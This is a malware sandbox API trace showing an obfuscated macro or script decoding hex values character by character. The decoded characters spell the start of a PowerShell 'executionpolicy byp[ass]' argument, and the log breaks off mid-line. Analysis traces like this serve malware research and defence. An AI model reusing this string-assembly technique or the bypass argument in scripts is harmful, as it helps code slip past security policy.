[0068.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="F", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="F\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.904] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x4e1a188, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0068.904] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.904] VarBstrCat (in: bstrLeft="&H", bstrRight="2F", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.904] VarParseNumFromStr (in: strIn="&H2F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.904] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="W", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="W\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.904] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="x") returned 1 [0068.904] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.904] VarBstrCat (in: bstrLeft="&H", bstrRight="34", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.904] VarParseNumFromStr (in: strIn="&H34", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.904] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Q", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Q\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.905] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0068.905] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.905] VarBstrCat (in: bstrLeft="&H", bstrRight="28", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.905] VarParseNumFromStr (in: strIn="&H28", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.905] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="K", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="K\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.905] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x4e1a188, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0068.905] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.906] VarBstrCat (in: bstrLeft="&H", bstrRight="3E", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.906] VarParseNumFromStr (in: strIn="&H3E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.906] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="K", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="K\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.906] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0068.906] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.906] VarBstrCat (in: bstrLeft="&H", bstrRight="38", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.906] VarParseNumFromStr (in: strIn="&H38", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.906] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="L", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="L\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.907] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0068.907] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.907] VarBstrCat (in: bstrLeft="&H", bstrRight="28", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.907] VarParseNumFromStr (in: strIn="&H28", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.907] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.907] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x4e1a188, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0068.907] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.907] VarBstrCat (in: bstrLeft="&H", bstrRight="23", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.907] VarParseNumFromStr (in: strIn="&H23", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.907] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="L", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="L\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.908] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0068.908] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.908] VarBstrCat (in: bstrLeft="&H", bstrRight="24", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.908] VarParseNumFromStr (in: strIn="&H24", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.908] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="J", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="J\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.908] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0068.908] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.909] VarBstrCat (in: bstrLeft="&H", bstrRight="23", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.909] VarParseNumFromStr (in: strIn="&H23", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.909] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x4e1a188, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0068.909] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.909] VarBstrCat (in: bstrLeft="&H", bstrRight="29", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.909] VarParseNumFromStr (in: strIn="&H29", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.909] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="F", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="F\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0068.910] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.910] VarBstrCat (in: bstrLeft="&H", bstrRight="28", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.910] VarParseNumFromStr (in: strIn="&H28", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.910] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0068.910] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.910] VarBstrCat (in: bstrLeft="&H", bstrRight="3A", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.910] VarParseNumFromStr (in: strIn="&H3A", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.910] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.911] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x4e1a188, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0068.911] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.911] VarBstrCat (in: bstrLeft="&H", bstrRight="22", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.911] VarParseNumFromStr (in: strIn="&H22", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.911] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.912] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0068.912] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.912] VarBstrCat (in: bstrLeft="&H", bstrRight="3F", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.912] VarParseNumFromStr (in: strIn="&H3F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.912] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="F", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="F\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.912] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="y") returned 1 [0068.912] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.912] VarBstrCat (in: bstrLeft="&H", bstrRight="61", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.913] VarParseNumFromStr (in: strIn="&H61", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.913] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x4e1a188, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0068.913] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.913] VarBstrCat (in: bstrLeft="&H", bstrRight="31", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.913] VarParseNumFromStr (in: strIn="&H31", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.913] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="b") returned 1 [0068.914] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.914] VarBstrCat (in: bstrLeft="&H", bstrRight="3F", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.914] VarParseNumFromStr (in: strIn="&H3F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.914] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="F", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="F\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.914] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="y") returned 1 [0068.914] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.914] VarBstrCat (in: bstrLeft="&H", bstrRight="21", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.914] VarParseNumFromStr (in: strIn="&H21", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.914] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Q", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Q\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x4e1a188, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0068.915] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.915] VarBstrCat (in: bstrLeft="&H", bstrRight="36", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.915] VarParseNumFromStr (in: strIn="&H36", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.915] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.915] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.915] VarBstrCat (in: bstrLeft="&H", bstrRight="35", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.916] VarParseNumFromStr (in: strIn="&H35", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.916] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.916] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.916] VarBstrCat (in: bstrLeft="&H", bstrRight="24", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.916] VarParseNumFromStr (in: strIn="&H24", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.916] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.916] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.916] VarBstrCat (in: bstrLeft="&H", bstrRight="71", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.916] VarParseNumFromStr (in: strIn="&H71", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.916] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.916] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.917] VarBstrCat (in: bstrLeft="&H", bstrRight="66", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.917] VarParseNumFromStr (in: strIn="&H66", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.917] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.917] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.917] VarBstrCat (in: bstrLeft="&H", bstrRight="1C", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.917] VarParseNumFromStr (in: strIn="&H1C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.917] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.917] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.917] VarBstrCat (in: bstrLeft="&H", bstrRight="6C", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.917] VarParseNumFromStr (in: strIn="&H6C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.917] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.917] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.918] VarBstrCat (in: bstrLeft="&H", bstrRight="09", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.918] VarParseNumFromStr (in: strIn="&H09", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.918] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.918] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.918] VarBstrCat (in: bstrLeft="&H", bstrRight="25", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.918] VarParseNumFromStr (in: strIn="&H25", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.918] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.918] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.918] VarBstrCat (in: bstrLeft="&H", bstrRight="2E", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.918] VarParseNumFromStr (in: strIn="&H2E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.918] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: pvar=0x17dad0) returned 0x0 [0068.919] VarAdd (in: pvarLeft=0xb480dc0, pvarRight=0xb480da8, pvarResult=0xb480d80 | out: pvarResult=0xb480d80) returned 0x0 [0068.919] VarBstrCat (in: bstrLeft="&H", bstrRight="37", pbstrResult=0x17db40 | out: pbstrResult=0x17db40) returned 0x0 [0068.919] VarParseNumFromStr (in: strIn="&H37", lcid=0x409, dwFlags=0x80000000, pnumprs=0x17da48, rgbDig=0x17da60 | out: pnumprs=0x17da48, rgbDig=0x17da60) returned 0x0 [0068.919] VarNumFromParseNum (in: pnumprs=0x17da48, rgbDig=0x17da60, dwVtBits=0x8, pvar=0x17dad0 | out: 